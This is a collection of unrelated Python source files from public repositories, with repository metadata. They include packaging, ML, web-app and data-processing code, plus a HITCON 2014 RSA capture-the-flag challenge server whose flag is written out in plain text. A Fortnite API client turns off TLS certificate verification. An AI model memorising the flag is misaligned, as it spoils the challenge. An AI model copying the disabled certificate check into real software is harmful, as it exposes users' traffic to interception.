:class:`distutils2.services.InstalledDistribution` and :class:`distutils2.services.EggInfoDistribution` instances :rtype: a :class:`DependencyGraph` instance """ scheme = get_scheme(scheme) graph = DependencyGraph() provided = {} # maps names to lists of (version, dist) tuples # first, build the graph and find out what's provided for dist in dists: graph.add_distribution(dist) for p in dist.provides: name, version = parse_name_and_version(p) logger.debug('Add to provided: %s, %s, %s', name, version, dist) provided.setdefault(name, []).append((version, dist)) # now make the edges for dist in dists: requires = (dist.run_requires | dist.meta_requires | dist.build_requires | dist.dev_requires) for req in requires: try: matcher = scheme.matcher(req) except UnsupportedVersionError: # XXX compat-mode if cannot read the version logger.warning('could not read version %r - using name only', req) name = req.split()[0] matcher = scheme.matcher(name) name = matcher.key # case-insensitive matched = False if name in provided: for version, provider in provided[name]: try: match = matcher.match(version) except UnsupportedVersionError: match = False if match: graph.add_edge(dist, provider, req) matched = True break if not matched: graph.add_missing(dist, req) return graph def get_dependent_dists(dists, dist): """Recursively generate a list of distributions from *dists* that are dependent on *dist*. :param dists: a list of distributions :param dist: a distribution, member of *dists* for which we are interested """ if dist not in dists: raise DistlibException('given distribution %r is not a member ' 'of the list' % dist.name) graph = make_graph(dists) dep = [dist] # dependent distributions todo = graph.reverse_list[dist] # list of nodes we should inspect while todo: d = todo.pop() dep.append(d) for succ in graph.reverse_list[d]: if succ not in dep: todo.append(succ) dep.pop(0) # remove dist from dep, was there to prevent infinite loops return dep def get_required_dists(dists, dist): """Recursively generate a list of distributions from *dists* that are required by *dist*. :param dists: a list of distributions :param dist: a distribution, member of *dists* for which we are interested """ if dist not in dists: raise DistlibException('given distribution %r is not a member ' 'of the list' % dist.name) graph = make_graph(dists) req = [] # required distributions todo = graph.adjacency_list[dist] # list of nodes we should inspect while todo: d = todo.pop()[0] req.append(d) for pred in graph.adjacency_list[d]: if pred not in req: todo.append(pred) return req def make_dist(name, version, **kwargs): """ A convenience method for making a dist given just a name and version. """ summary = kwargs.pop('summary', 'Placeholder for summary') md = Metadata(**kwargs) md.name = name md.version = version md.summary = summary or 'Placeholder for summary' return Distribution(md)

[ "patrickvibild@gmail.com" ]

patrickvibild@gmail.com

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"""wordcount URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/2.2/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: path('', views.home, name='home') Class-based views 1. Add an import: from other_app.views import Home 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home') Including another URLconf 1. Import the include() function: from django.urls import include, path 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) """ from django.contrib import admin from django.urls import path from .import function urlpatterns = [ path('admin/', admin.site.urls), path('', function.home), path('count/', function.count), ]

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permissive

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2023-05-26T15:17:47.564892

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from typing import Callable, Optional, Any import math from fastcore.all import store_attr import torch from torch import nn, Tensor from .activations import lookup_act from .batchnorms import LCBatchNorm1d from ..initialisations import lookup_normal_init __all__ = ['SelfAttention', 'OffsetSelfAttention'] class SelfAttention(nn.Module): r''' Class for applying self attention (Vaswani et al. 2017 (https://arxiv.org/abs/1706.03762)) to features per vertex. Arguments: n_fpv: number of features per vertex to expect n_a: width of self attention representation do: dropout rate to be applied to hidden layers in the NNs bn: whether batch normalisation should be applied to hidden layers in the NNs act: activation function to apply to hidden layers in the NNs lookup_init: function taking choice of activation function, number of inputs, and number of outputs an returning a function to initialise layer weights. lookup_act: function taking choice of activation function and returning an activation function layer bn_class: class to use for BatchNorm, default is :class:`~lumin.nn.models.layers.batchnorms.LCBatchNorm1d` ''' def __init__(self, n_fpv:int, n_a:int, do:float=0, bn:bool=False, act:str='relu', lookup_init:Callable[[str,Optional[int],Optional[int]],Callable[[Tensor],None]]=lookup_normal_init, lookup_act:Callable[[str],Any]=lookup_act, bn_class:Callable[[int],nn.Module]=nn.BatchNorm1d): super().__init__() store_attr() self.q = self._get_layer(self.n_fpv, self.n_a) self.k = self._get_layer(self.n_fpv, self.n_a) self.v = self._get_layer(self.n_fpv, self.n_fpv) self.out = self._get_out() def _get_out(self) -> nn.Sequential: layers = [self._get_layer(self.n_fpv, self.n_fpv)] if self.act != 'linear': layers.append(self.lookup_act(self.act)) if self.bn: layers.append(LCBatchNorm1d(self.bn_class(self.n_fpv))) if self.do: if self.act == 'selu': layers.append(nn.AlphaDropout(self.do)) else: layers.append(nn.Dropout(self.do)) return nn.Sequential(*layers) def _get_layer(self, fan_in:int, fan_out:int) -> nn.Module: l = nn.Linear(fan_in, fan_out) self.lookup_init('linear', fan_in, fan_out)(l.weight) nn.init.zeros_(l.bias) return l def forward(self, x:Tensor) -> Tensor: # B N C r''' Augments features per vertex Arguemnts: x: incoming data (batch x vertices x features) Returns: augmented features (batch x vertices x new features) ''' a = (self.q(x)@self.k(x).transpose(-1,-2))/math.sqrt(self.n_a) # B N N a = torch.softmax(a, dim=-1) # Softmax norm columns sa = a@self.v(x) # B N C return x+self.out(sa) # B N C def get_out_size(self) -> int: return self.n_fpv class OffsetSelfAttention(SelfAttention): r''' Class for applying offset-self attention (Guo et al. 2020 (https://arxiv.org/abs/2012.09688)) to features per vertex. Arguments: n_fpv: number of features per vertex to expect n_a: width of self attention representation (paper recommends n_fpv//4) do: dropout rate to be applied to hidden layers in the NNs bn: whether batch normalisation should be applied to hidden layers in the NNs act: activation function to apply to hidden layers in the NNs lookup_init: function taking choice of activation function, number of inputs, and number of outputs an returning a function to initialise layer weights. lookup_act: function taking choice of activation function and returning an activation function layer bn_class: class to use for BatchNorm, default is :class:`~lumin.nn.models.layers.batchnorms.LCBatchNorm1d` ''' def forward(self, x:Tensor) -> Tensor: # B N C r''' Augments features per vertex Arguemnts: x: incoming data (batch x vertices x features) Returns: augmented features (batch x vertices x new features) ''' a = self.q(x)@self.k(x).transpose(-1,-2) # B N N a = torch.softmax(a, dim=-2) # Softmax norm rows a = a/(a.sum(-1, keepdim=True)+1e-17) # L1 norm columns sa = a@self.v(x) # B N C return x+self.out(x-sa) # B N C

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giles.strong@outlook.com

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/week7/draft3_arcs.py

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[]

no_license

Homerade/DA-520

af592149cbb654b9564d931d5e7a6f644e3f4b04

0a4422dcdbbb41ec85d8f0e7ac8585adf1e96ae4

refs/heads/master

2021-01-13T08:59:02.059857

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from PIL import Image from PIL import ImageDraw im = Image.new("RGB", (1000,1000), (255,255,255)) draw = ImageDraw.Draw(im, 'RGBA') data = [ {'year' : 1820, 'figure' : 8385}, {'year' : 1821, 'figure' : 9127}, {'year' : 1822, 'figure' : 6911}, {'year' : 1823, 'figure' : 6354}, {'year' : 1824, 'figure' : 7912}, {'year' : 1825, 'figure' : 10199}, {'year' : 1826, 'figure' : 10837}, {'year' : 1827, 'figure' : 18875}, ] x = (data[0]['year'])-1820 y = 490 degree = (data[0]['figure'])/55 # x = x+10 x1 = (data[1]['year'])-1820 degree1 = (data[1]['figure'])/55 draw.arc((x+10,x+10,y+10,y+10),0,degree,fill=0) draw.arc((x1+20,x1+20,y+20,y+20),0,degree1,fill=0) # draw.arc((10,10,510,510),0,350,fill=50) # draw.arc((20,20,520,520),0,100,fill=100) # draw.arc((30,30,530,530),0,250,fill=150) # draw.arc((40,40,540,540),0,177,fill=200) # draw.arc((50,50,550,550),0,44,fill=250) # distance from the last year = difference between figure from previous year # arc = ratio of figure on 0-360 scale # color = progressing RGB #make it go in a circle instead of a diagonal line im.show() im.save("mydatavis.png") # color = figure [times] .01 # parabola curves up at a distance of the difference from the year before

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mizzsvizz@gmail.com

f2a26eb8fc4d0b681cb827a0d2f3b3b42e19e747

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/reltest/util.py

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permissive

jenninglim/model-comparison-test

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refs/heads/master

2020-07-20T21:59:02.231673

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MIT

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2019-09-06T04:54:06

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py

import numpy as np import time class NumpySeedContext(object): """ A context manager to reset the random seed by numpy.random.seed(..). Set the seed back at the end of the block. From Wittawat Jitkrittum. See https://github.com/wittawatj/kernel-gof/blob/master/kgof/util.py. """ def __init__(self, seed): self.seed = seed def __enter__(self): rstate = np.random.get_state() self.cur_state = rstate np.random.seed(self.seed) return self def __exit__(self, *args): np.random.set_state(self.cur_state) # end NumpySeedContext class ContextTimer(object): """ A class used to time an execution of a code snippet. Use it with with .... as ... For example, with ContextTimer() as t: # do something time_spent = t.secs From https://www.huyng.com/posts/python-performance-analysis """ def __init__(self, verbose=False): self.verbose = verbose def __enter__(self): self.start = time.time() return self def __exit__(self, *args): self.end = time.time() self.secs = self.end - self.start if self.verbose: print('elapsed time: %f ms' % (self.secs*1000)) # end class ContextTimer def dist_matrix(X, Y): """ Construct a pairwise Euclidean distance matrix of size X.shape[0] x Y.shape[0] From Wittawat Jitkrittum. See https://github.com/wittawatj/kernel-gof/blob/master/kgof/util.py. """ sx = np.sum(X**2, 1) sy = np.sum(Y**2, 1) D2 = sx[:, np.newaxis] - 2.0*X.dot(Y.T) + sy[np.newaxis, :] # to prevent numerical errors from taking sqrt of negative numbers D2[D2 < 0] = 0 D = np.sqrt(D2) return D def dist2_matrix(X, Y): """ Construct a pairwise Euclidean distance **squared** matrix of size X.shape[0] x Y.shape[0] From Wittawat Jitkrittum. See https://github.com/wittawatj/kernel-gof/blob/master/kgof/util.py. """ sx = np.sum(X**2, 1) sy = np.sum(Y**2, 1) D2 = sx[:, np.newaxis] - 2.0*np.dot(X, Y.T) + sy[np.newaxis, :] return D2 def meddistance(X, subsample=None, mean_on_fail=True): """ Compute the median of pairwise distances (not distance squared) of points in the matrix. Useful as a heuristic for setting Gaussian kernel's width. Parameters ---------- X : n x d numpy array mean_on_fail: True/False. If True, use the mean when the median distance is 0. This can happen especially, when the data are discrete e.g., 0/1, and there are more slightly more 0 than 1. In this case, the m Return ------ median distance From Wittawat Jitkrittum. See https://github.com/wittawatj/kernel-gof/blob/master/kgof/util.py. """ if subsample is None: D = dist_matrix(X, X) Itri = np.tril_indices(D.shape[0], -1) Tri = D[Itri] med = np.median(Tri) if med <= 0: # use the mean return np.mean(Tri) return med else: assert subsample > 0 rand_state = np.random.get_state() np.random.seed(9827) n = X.shape[0] ind = np.random.choice(n, min(subsample, n), replace=False) np.random.set_state(rand_state) # recursion just one return meddistance(X[ind, :], None, mean_on_fail)

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DavidCastilloAlvarado/WMLC_mod

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# coding: utf-8 """ No descripton provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) Generated by: https://github.com/swagger-api/swagger-codegen.git Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ from pprint import pformat from six import iteritems import re class ArrayModelVersionMetricsExperiments(object): """ NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. """ def __init__(self): """ ArrayModelVersionMetricsExperiments - a model defined in Swagger :param dict swaggerTypes: The key is attribute name and the value is attribute type. :param dict attributeMap: The key is attribute name and the value is json key in definition. """ self.swagger_types = { } self.attribute_map = { } def to_dict(self): """ Returns the model properties as a dict """ result = {} for attr, _ in iteritems(self.swagger_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: result[attr] = value return result def to_str(self): """ Returns the string representation of the model """ return pformat(self.to_dict()) def __repr__(self): """ For `print` and `pprint` """ return self.to_str() def __eq__(self, other): """ Returns true if both objects are equal """ return self.__dict__ == other.__dict__ def __ne__(self, other): """ Returns true if both objects are not equal """ return not self == other

[ "dcastilloa@uni.pe" ]

dcastilloa@uni.pe

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/apps/utils/__init__.py

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no_license

yangtuothink/mxonline

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refs/heads/master

2020-04-29T01:17:48.437042

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py

# _*_ coding:utf-8 _*_ __author__ = "yangtuo" __date__ = "2019/3/16 10:28"

[ "745206110@qq.com" ]

745206110@qq.com

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/formula/cel_to_far1.py

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[]

no_license

Abhinavsuresh21/python-

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refs/heads/main

2023-09-02T18:59:50.962755

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celsius=int(input("Enter celsius:")) farenhiet=(celsius*9/5)+32; print("\t\t output \n\n") print("The entered celsius value:",celsius) print("The calculated farenhiet :",farenhiet)

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[ "BSD-2-Clause" ]

permissive

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from models.albert.EigenmetricRegressionSolver import EigenmetricRegressionSolver from models.albert.AlbertForEigenmetricRegression import AlbertForEigenmetricRegression from pathlib import Path ROOT = Path('/shared/0/projects/prosocial/data/finalized/') pretrained_system_name_or_path = \ ROOT / 'model_checkpoints/albert/run2/best_checkpoint_ep214498.pth' input_dir = ROOT / 'data_cache/albert' output_dir = ROOT / 'model_checkpoints/albert/run2_resume' solver = EigenmetricRegressionSolver.from_pretrained( model_constructor=AlbertForEigenmetricRegression, pretrained_system_name_or_path=pretrained_system_name_or_path, resume_training=True, input_dir=input_dir, output_dir=output_dir, n_epoch=2, learning_rates=2e-6) solver.fit(num_eval_per_epoch=10)

[ "jiajunb@umich.edu" ]

jiajunb@umich.edu

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/test/test_ui.py

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[]

no_license

gfixler/tomayto

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refs/heads/master

2023-08-31T15:45:44.198644

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UTF-8

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import unittest import ui class Test_SelectionList (unittest.TestCase): def test_canInstantiateWithNothing (self): sl = ui.SelectionList(createUI=False) self.assertEqual(sl.values, []) def test_canInstantiateWithList (self): testList = ["one", "two", "three", "four", "five"] sl = ui.SelectionList(testList, createUI=False) self.assertEqual(sl.values, testList)

[ "gary@garyfixler.com" ]

gary@garyfixler.com

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/fortniteTracker.py

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refs/heads/master

2022-09-06T08:35:46.719231

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#!/usr/bin/env python3 import os import sys import requests from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) def __get_br_player_stats(): url = "https://api.fortnitetracker.com/v1/profile/" endpoint = url + profile + '/' + epicname headers = {'content-type': 'application/json', 'TRN-Api-Key': apikey} # ============================================== # Submit the request to the fortnite tracker API # ============================================== s = requests.Session() r = s.get(endpoint, headers=headers, verify=False) brps = r.json() return brps def __get_br_match_stats(): pass if __name__ == "__main__": profile = 'pc' if os.path.isfile('credentials.txt'): apikey, epicname = open('credentials.txt').read().strip().split(',') else: print("Cannot find credentials file") sys.exit(1) player_stats = __get_br_player_stats() match_stats = __get_br_match_stats() # ====================== # Get the lifetime stats # ====================== lifetime_stats = player_stats['lifeTimeStats'] # ============================= # Create a new blank dictionary # ============================= dicts_by_key = {} # ======================================================== # Lifetime stats are represented in the variable lt_stats # This comes in as a list of dictionaries that we need to # iterate over. # I am adding each dictionary to dicts_by_key which should # result in 12 dictionary objects. # ======================================================== for dicts in lifetime_stats: dicts_by_key[dicts['key']] = dicts # ============================================================ # Now setup some lifetime_total vairables from the dictionarys # ============================================================ lt_total_wins = dicts_by_key['Wins'] lt_total_kills = dicts_by_key['Kills'] lt_total_score = dicts_by_key['Score'] lt_top_25s = dicts_by_key['Top 25s'] lt_top_10s = dicts_by_key['Top 10'] lt_top_5s = dicts_by_key['Top 5s'] lt_total_matches_played = dicts_by_key['Matches Played'] # ==================================================== # I now setup list objects with the dictionary values # I use lists so that I can reference the index value. # ==================================================== lt_total_wins_val_list = list(lt_total_wins.values()) lt_total_kills_val_list = list(lt_total_kills.values()) lt_total_score_val_list = list(lt_total_score.values()) lt_top_25s_val_list = list(lt_top_25s.values()) lt_top_10s_val_list = list(lt_top_10s.values()) lt_top_5s_val_list = list(lt_top_5s.values()) lt_total_matches_played_val_list = list(lt_total_matches_played.values()) # =========================================== # This is the final output of our application # =========================================== print("=======================") print("Fortnite Tracker (v0.1)") print("=======================") print(("Player: {}").format(epicname)) print("\t====================") print("\tLifetime Statistics:") print("\t====================") print(f"\tTotal Wins : {lt_total_wins_val_list[1]}") print(f"\tKills : {lt_total_kills_val_list[1]}") print(f"\tMatches Played: {lt_total_matches_played_val_list[1]}") print(f"\tOverall Score : {lt_total_score_val_list[1]}") print() print(f"\t=========") print(f"\tPlacings:") print(f"\t=========") print(f"\tNo. Top 25s : {lt_top_25s_val_list[1]}") print(f"\tNo. Top 10s : {lt_top_10s_val_list[1]}") print(f"\tNo. Top 5s : {lt_top_5s_val_list[1]}")

[ "johngraham660@gmail.com" ]

johngraham660@gmail.com

f2237a63fc73251d11b08c32db14f2b4331d7346

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/vagrant/database_setup.py

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no_license

jd12/fullstack-nanodegree-vm

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2020-07-15T06:58:43.073560

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import sys from sqlalchemy import Column, ForeignKey, Integer, String from sqlalchemy.ext.declarative import declarative_base from sqlalchemy.orm import relationship from sqlalchemy import create_engine Base = declarative_base() class Restaurant(Base): __tablename__ = 'restaurant' name = Column(String(80), nullable = False) id = Column(Integer, primary_key = True) class MenuItem(Base): __tablename__ = 'menu_item' name = Column(String(80), nullable = False) id = Column(Integer, primary_key = True) course = Column(String(250)) description = Column(String(250)) price = Column(String(8)) restaurant_id = Column(Integer, ForeignKey('restaurant.id')) restaurant = relationship(Restaurant) ##### insert at end of file ##### engine = create_engine('sqlite:///restaurantmenu.db') Base.metadata.create_all(engine)

[ "jd@cs.umass.edu" ]

jd@cs.umass.edu

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akatcha/storyteller

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refs/heads/master

2021-07-15T12:32:45.070469

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#!/mnt/c/Users/Andrew/Documents/hacking/storyteller/env/bin/python3 # -*- coding: utf-8 -*- import re import sys from pip import main if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0]) sys.exit(main())

[ "akatcha@umich.edu" ]

akatcha@umich.edu

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/ordering/util/upc2excel.py

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permissive

LamCiuLoeng/jcp

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refs/heads/master

2021-01-22T11:20:41.772418

2014-05-30T09:18:04

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# -*- coding: utf-8 -*- import shutil, os, zipfile, traceback, random from datetime import datetime from ordering.util.excel_helper import * from common import serveFile, Date2Text from ordering.model import * from tg import request, config, flash, redirect import time, zlib from ordering.util.bin2hex import * epcobj=upcToepc() def returnEPC(beginSerail, upc, qty): global epcobj return epcobj.run(beginSerail, upc, qty) def upcExportBatch(id_list, qty_list, begin_list, job): try: fileDir=config.rfid_temp_template if not os.path.exists(fileDir): os.makedirs(fileDir) dlzipFile=os.path.join(fileDir, "%s.zip"%job.no) ########### #templatePath = os.path.join(os.path.abspath(os.path.curdir),"TEMPLATE/RFID_TEMPLATE.xls") templatePath=os.path.join(config.rfid_template, "RFID_TEMPLATE.xls") rm=random.randint(1, 1000) copyTemplatePath=os.path.join(fileDir, "RFID_TEMPLATE_%d.xls"%rm) #copy the template to the dest folder to invoid the confict. shutil.copyfile(templatePath, copyTemplatePath) fileList=[] for index, id in enumerate(id_list): row=DBSession.query(Item).get(id) #update the last quantity of item. row.last_epc=int(begin_list[index])-1+int(qty_list[index]) result=[] serial_no=int(begin_list[index]) epc_list=returnEPC(int(begin_list[index]), row.upc, int(qty_list[index])) for epc in epc_list: result.append((row.category.name, \ row.part, \ row.style_no, \ row.size, \ row.format, \ row.garment_description, \ row.style_size, \ row.epc_style, \ row.upc, \ row.rn_no, \ "", \ row.epc_logo, \ row.gtin, \ row.vendor, \ qty_list[index], \ serial_no, epc)) serial_no+=1 fileList.append(_upc2Excel(row.upc, result, copyTemplatePath, fileDir, row.part, row.style_no)) for d in job.details : if d.item_id==int(id) : d.epc_code_begin=epc_list[0] d.epc_code_end=epc_list[-1] break dlzip=zipfile.ZipFile(dlzipFile, "w", zlib.DEFLATED) for fl in fileList: logging.info(os.path.abspath(fl)) dlzip.write(os.path.abspath(str(fl)), os.path.basename(str(fl))) dlzip.close() try: for fl in fileList: os.remove(fl) os.remove(copyTemplatePath) except: pass return dlzip except: traceback.print_exc() return None # for jcp, 20120202 def genProducionFile(upc, beginNo, qty): try: fileDir = config.rfid_temp_template if not os.path.exists(fileDir): os.makedirs(fileDir) dlzipFile = os.path.join(fileDir, "UPC-%s_%s.zip" % (upc, datetime.now().strftime("%Y%m%d%H%M%S"))) templatePath = os.path.join(config.rfid_template, "RFID_TEMPLATE.xls") rm = random.randint(1, 1000) copyTemplatePath = os.path.join(fileDir, "RFID_TEMPLATE_%d.xls"%rm) #copy the template to the dest folder to invoid the confict. shutil.copyfile(templatePath, copyTemplatePath) fileList = [] result = [] for index, epc in enumerate(returnEPC(beginNo, upc, qty)): result.append((upc, 1, beginNo+index, epc)) fileList.append(_upc2Excel(upc, result, copyTemplatePath, fileDir)) dlzip = zipfile.ZipFile(dlzipFile, "w", zlib.DEFLATED) for fl in fileList: dlzip.write(os.path.abspath(str(fl)), os.path.basename(str(fl))) dlzip.close() try: for fl in fileList: os.remove(fl) os.remove(copyTemplatePath) except: pass return dlzipFile except: traceback.print_exc() return None def _upc2Excel(upc, data, copyTemplatePath, fileDir): xlsFileName = "%s_%s.xls" % (upc, datetime.now().strftime("%Y%m%d%H%M%S")) filename = os.path.join(fileDir, xlsFileName) #print 'filename',filename # print 'input data', time.ctime() rfid = RFIDExcel(templatePath=copyTemplatePath, destinationPath=filename) try: rfid.inputData(data = data) rfid.outputData() return filename #serveFile(filename, "application/x-download", "attachment") # print 'input data', time.ctime() except: traceback.print_exc() if rfid: rfid.clearData() redirect("index") def reportExport(jdid_list): try: fileDir=config.report_download_path if not os.path.exists(fileDir): os.makedirs(fileDir) for i in os.listdir(fileDir): oldfile=os.path.join(fileDir, i) if(time.time()-os.path.getmtime(oldfile)>60*60): try: os.remove(oldfile) except: pass dateStr=datetime.now().strftime("%Y%m%d%H%M%S") dlzipFile=os.path.join(fileDir, "report_%s.zip"%dateStr) #print dlzipFile templatePath=os.path.join(config.rfid_template, "REPORT_TEMPLATE.xls") rm=random.randint(1, 1000) copyTemplatePath=os.path.join(fileDir, "REPORT_TEMPLATE_%d.xls"%rm) #copy the template to the dest folder to invoid the confict. shutil.copyfile(templatePath, copyTemplatePath) result=[] if jdid_list: for index, jdid in enumerate(jdid_list): jd = DBSession.query(JobDetail).get(jdid) serial_begin = jd.serial_begin if jd.serial_begin else 0 serial_end = jd.serial_end if jd.serial_end else 0 if serial_begin==0 and serial_end==0: qty = 0 else: qty = serial_end - serial_begin + 1 result.append(( jd.header.no, jd.location.name if jd.location else '', gtinToUpc(jd.gtin), jd.gtin, qty, serial_begin, serial_end, jd.epc_code_begin, jd.epc_code_end)) report_xls=_report2Excel(result, copyTemplatePath, os.path.join(fileDir, "report_%s.xls"%dateStr)) dlzip=zipfile.ZipFile(dlzipFile, "w", zlib.DEFLATED) dlzip.write(os.path.abspath(str(report_xls)), os.path.basename(str(report_xls))) dlzip.close() try: os.remove(copyTemplatePath) os.remove(os.path.join(fileDir, "report_%s.xls"%dateStr)) except: pass return dlzip, dlzipFile except: traceback.print_exc() return None def _report2Excel(data, copyTemplatePath, filename): rfid=HANESExcel(templatePath = copyTemplatePath, destinationPath = filename) try: rfid.inputData(data = data) rfid.outputData() return filename except: traceback.print_exc() if rfid: rfid.clearData() redirect("index")

[ "lamciuloeng@gmail.com" ]

lamciuloeng@gmail.com

fb2863bacc09c5bed7d80aee30a690e7b65abba1

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/test_api/extensions.py

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permissive

hpf0532/flask-celery-demo

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refs/heads/master

2022-01-22T01:33:03.427332

2020-03-03T14:18:27

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from flask_sqlalchemy import SQLAlchemy from flask_celeryext import FlaskCeleryExt db = SQLAlchemy() celery_ext = FlaskCeleryExt()

[ "hpf1992@126.com" ]

hpf1992@126.com

11c93caecd66f575eb4adb81ecc712d0f618b123

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/problems/hitcon2014-rsaha/server.py

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[]

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dkohlbre/crypto-vm

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refs/heads/master

2016-09-06T09:00:09.436010

2015-06-12T18:48:41

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#!/usr/bin/env python import random import select import signal import sympy import sys class Unbuffered(object): def __init__(self, stream): self.stream = stream def write(self, data): self.stream.write(data) self.stream.flush() def __getattr__(self, attr): return getattr(self.stream, attr) def random_prime(bits): return sympy.nextprime(2 ** bits + random.randint(0, 2 ** bits)) def encrypt(bits, m): p = random_prime(bits) q = random_prime(bits) n = p * q assert m < n print n print m ** 3 % n print (m + 1) ** 3 % n def main(): signal.alarm(180) sys.stdout = Unbuffered(sys.stdout) for i in range(1, 10): bits = 50 * i m = random.randint(0, 4 ** bits) encrypt(bits, m) rfd, _, _ = select.select([sys.stdin], [], [], 10) if rfd: try: x = int(raw_input()) except ValueError: print "\033[31;1mEnter a number, ok?\033[0m" exit() if x == m: print "\033[32;1mGreat:)\033[0m" continue else: print "\033[31;1mso sad :(\033[0m" exit() else: print "\033[31;1mToo slooooooooooow :(\033[0m" exit() bits = 512.512 m = int("HITCON{RSA is a really secure algorithm, right?}".encode('hex'), 16) encrypt(bits, m) print "\033[32;1mGood Luck!\033[0m" if __name__ == '__main__': main()

[ "david.kohlbrenner@gmail.com" ]

david.kohlbrenner@gmail.com

6a6aa1efeccf513f3b03b7e74b63d6f3d9d2de0f

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/simple/process_data.py

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[]

no_license

arhee/midi_song

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refs/heads/master

2021-01-01T17:27:28.860683

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""" A simplified version of the problem that only looks at note sequence generates a matrix of note sequences. """ import mido import glob import numpy as np from math import ceil import pickle import numpy as np def get_notelist(mido_obj, res=16, note_range=(36,84)): """ Args: res (int) - resolution. 8 is eighth notes, 4 quarter, etc... note_range (tuple) - middle C = 60 Returns: counter (int) - total amount of time elapsed for song notelist (list) - a list of notes in (pitch, start, duration) format """ # this gives # of ticks in a column of the piano sheet tick_step = round(float(mido_obj.ticks_per_beat/res)) active_notes = [0] * abs(np.diff(note_range)[0]) counter = 0 notelist = [] # this needs to be fixed in the future for multiinstrument songs rawmsgs = [msg for track in mido_obj.tracks for msg in track] # have to reset counter when a new track is detected for msg in rawmsgs: if msg.type not in set(['note_on','note_off']): continue #counter += ceil(msg.time/tick_step) counter += msg.time if msg.type == 'note_on' and msg.velocity > 0: try: active_notes[msg.note - note_range[0]] = counter except IndexError: pass elif msg.type == 'note_off' or (msg.type == 'note_on' and msg.velocity == 0): # fill everything up to this with 1s try: start = active_notes[msg.note - note_range[0]] #round this section notelist.append((msg.note, int(ceil(start/tick_step)), int(ceil((counter-start)/tick_step)))) active_notes[msg.note - note_range[0]] = 0 except IndexError: pass notelist = sorted(notelist, key=lambda x: x[1]) return (counter, notelist) mididir = '../data/midi/tr_guitar_licks/' midifnames = glob.glob(mididir + '*') midifiles = [] for x in midifnames: try: midifiles.append(mido.MidiFile(x)) except IOError: pass # get the order of notes data = [] for obj in midifiles: counter, notelist = get_notelist(obj) data.append([x[0] for x in notelist]) # shrink the dataset by reducing by min note min_note = min([min(y) for y in data]) max_note = max([max(y) for y in data]) normdata = [np.array(x) - min_note for x in data] delta = max_note - min_note # create matrix mat_data = [] for x in normdata: # rows, cols mat = np.zeros((delta+1, len(x))) mat[x,range(len(x))] = 1 mat_data.append(mat) # segmentize # generate pickled data X = [] y = [] maxlen = 10 step = 1 for obj in mat_data: steps = obj.shape[1] # rows cols for ix in range(0, steps-maxlen-1, step): end = ix + maxlen X.append(obj[:, ix:end:1]) y.append(obj[:, end+1]) X = np.stack(X) y = np.stack(y) data = {'X':X, 'y':y, 'note_range':delta} with open('mmat.p','wb') as f: pickle.dump(data, f)

[ "alex.rhee@gmail.com" ]

alex.rhee@gmail.com

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/ee/clickhouse/queries/event_query.py

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nehachauhan14/posthog

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from typing import Any, Dict, Tuple from ee.clickhouse.models.cohort import format_person_query, get_precalculated_query, is_precalculated_query from ee.clickhouse.models.property import filter_element, prop_filter_json_extract from ee.clickhouse.queries.trends.util import populate_entity_params from ee.clickhouse.queries.util import date_from_clause, get_time_diff, get_trunc_func_ch, parse_timestamps from posthog.models import Cohort, Entity, Filter, Property, Team class ClickhouseEventQuery: DISTINCT_ID_TABLE_ALIAS = "pdi" PERSON_TABLE_ALIAS = "person" EVENT_TABLE_ALIAS = "e" _PERSON_PROPERTIES_ALIAS = "person_props" _filter: Filter _entity: Entity _team_id: int _should_join_distinct_ids = False _should_join_persons = False _should_round_interval = False _date_filter = None def __init__( self, filter: Filter, entity: Entity, team_id: int, round_interval=False, should_join_distinct_ids=False, should_join_persons=False, date_filter=None, **kwargs, ) -> None: self._filter = filter self._entity = entity self._team_id = team_id self.params = { "team_id": self._team_id, } self._date_filter = date_filter self._should_join_distinct_ids = should_join_distinct_ids self._should_join_persons = should_join_persons if not self._should_join_distinct_ids: self._determine_should_join_distinct_ids() if not self._should_join_persons: self._determine_should_join_persons() self._should_round_interval = round_interval def get_query(self) -> Tuple[str, Dict[str, Any]]: _fields = ( f"{self.EVENT_TABLE_ALIAS}.timestamp as timestamp, {self.EVENT_TABLE_ALIAS}.properties as properties" + (f", {self.DISTINCT_ID_TABLE_ALIAS}.person_id as person_id" if self._should_join_distinct_ids else "") + (f", {self.PERSON_TABLE_ALIAS}.person_props as person_props" if self._should_join_persons else "") ) date_query, date_params = self._get_date_filter() self.params.update(date_params) prop_query, prop_params = self._get_props() self.params.update(prop_params) entity_query, entity_params = self._get_entity_query() self.params.update(entity_params) query = f""" SELECT {_fields} FROM events {self.EVENT_TABLE_ALIAS} {self._get_disintct_id_query()} {self._get_person_query()} WHERE team_id = %(team_id)s {entity_query} {date_query} {prop_query} """ return query, self.params def _determine_should_join_distinct_ids(self) -> None: if self._entity.math == "dau": self._should_join_distinct_ids = True return def _get_disintct_id_query(self) -> str: if self._should_join_distinct_ids: return f""" INNER JOIN ( SELECT person_id, distinct_id FROM ( SELECT * FROM person_distinct_id JOIN ( SELECT distinct_id, max(_offset) as _offset FROM person_distinct_id WHERE team_id = %(team_id)s GROUP BY distinct_id ) as person_max ON person_distinct_id.distinct_id = person_max.distinct_id AND person_distinct_id._offset = person_max._offset WHERE team_id = %(team_id)s ) WHERE team_id = %(team_id)s ) AS {self.DISTINCT_ID_TABLE_ALIAS} ON events.distinct_id = {self.DISTINCT_ID_TABLE_ALIAS}.distinct_id """ else: return "" def 